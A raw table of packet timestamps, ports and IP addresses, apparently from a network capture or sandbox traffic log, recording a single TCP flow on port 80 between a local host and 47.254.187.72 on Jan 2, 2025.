Jan 2, 2025 20:20:00.670068979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670080900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670088053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.670094967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670108080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670139074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.670186996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.670221090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670233011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670243979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670267105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670274019 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.670281887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670293093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670309067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670310974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.670358896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.670389891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.670871019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670921087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670933008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670943975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670954943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.670957088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670970917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670974016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.671003103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.671040058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.671053886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671066046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671076059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671087027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671112061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.671113014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671147108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671164989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671176910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671186924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.671186924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.671188116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671200991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671211958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671231985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671233892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.671286106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.671286106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.671336889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671355009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671369076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671387911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671400070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671412945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671422958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.671422958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.671427011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671439886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671453953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671463966 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.671466112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671479940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.671499014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.671499014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.671530962 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672090054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672101974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672125101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672136068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672147036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672147989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672173977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672184944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672194004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672195911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672211885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672230959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672245979 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672245979 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672247887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672260046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672271967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672282934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672318935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672328949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672348976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672373056 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672390938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672419071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672477007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672477961 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672545910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672558069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672569990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672581911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672610044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672622919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672633886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672645092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672657013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672667027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672667027 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672667027 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672667980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672681093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672691107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672696114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672708035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672728062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672739983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672744036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672751904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672758102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672765017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672775984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672789097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672801971 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672802925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672841072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672885895 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672885895 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672898054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672911882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672933102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672945976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672956944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672970057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672981977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.672996998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.672996998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.673043966 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.702378988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.702393055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.702404976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.702446938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.702459097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.702471018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.702483892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.702565908 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.702622890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.760118008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760145903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760158062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760170937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760263920 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.760307074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.760405064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760422945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760436058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760447979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760459900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760464907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.760479927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760499001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760500908 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.760519028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760531902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760541916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760545015 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.760556936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760559082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.760569096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760582924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760624886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.760624886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.760669947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760683060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760693073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760706902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760719061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760730028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760741949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760755062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760773897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.760773897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.760773897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.760780096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760792017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760802984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760814905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760823965 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.760842085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760844946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.760860920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760873079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.760874987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760888100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760900021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760904074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.760911942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.760940075 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.760968924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.761749029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761769056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761781931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761794090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761818886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.761827946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761841059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761852980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761858940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.761869907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761883974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761889935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761895895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761897087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.761897087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.761902094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761910915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761919975 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.761926889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761934042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761939049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761945009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761950016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761955023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761960983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761966944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761970997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.761993885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762005091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762011051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762022018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762028933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762039900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762082100 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.762106895 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.762753010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762765884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762778997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762799978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762811899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762823105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762833118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.762837887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762877941 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.762877941 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.762912035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762924910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762936115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762955904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762969017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762970924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.762980938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.762981892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.762995005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763006926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763024092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763081074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763099909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.763101101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763099909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.763115883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763134956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763147116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763159990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763163090 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.763163090 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.763174057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763185978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763190985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.763200045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763214111 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.763219118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763242006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763247967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.763254881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763267040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763269901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.763320923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.763334036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763348103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763359070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763402939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.763402939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.763438940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763451099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763467073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763478994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763484955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.763489008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763504028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.763504982 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.763539076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.763561010 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.935930967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.940784931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.350795984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.350811958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.350831032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.350845098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.350857019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.350927114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.350927114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.351082087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.351099014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.351116896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.351149082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.351149082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.351197004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.351831913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.351845980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.351857901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.351876020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.351911068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.351911068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.351946115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.351962090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.351979017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.352019072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.352030993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.352461100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.352478981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.352495909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.352530003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.352530003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.352550030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.352994919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.353009939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.353028059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.353055000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.353055000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.353070021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.353209972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.353224039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.353240967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.353262901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.353292942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.353292942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.353663921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.353682041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.353699923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.353734016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.353734016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.353734016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.353939056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.353966951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.353980064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.354003906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.354011059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.354011059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.354021072 CET	80	49704	47.254.187.72	192.168.2.8
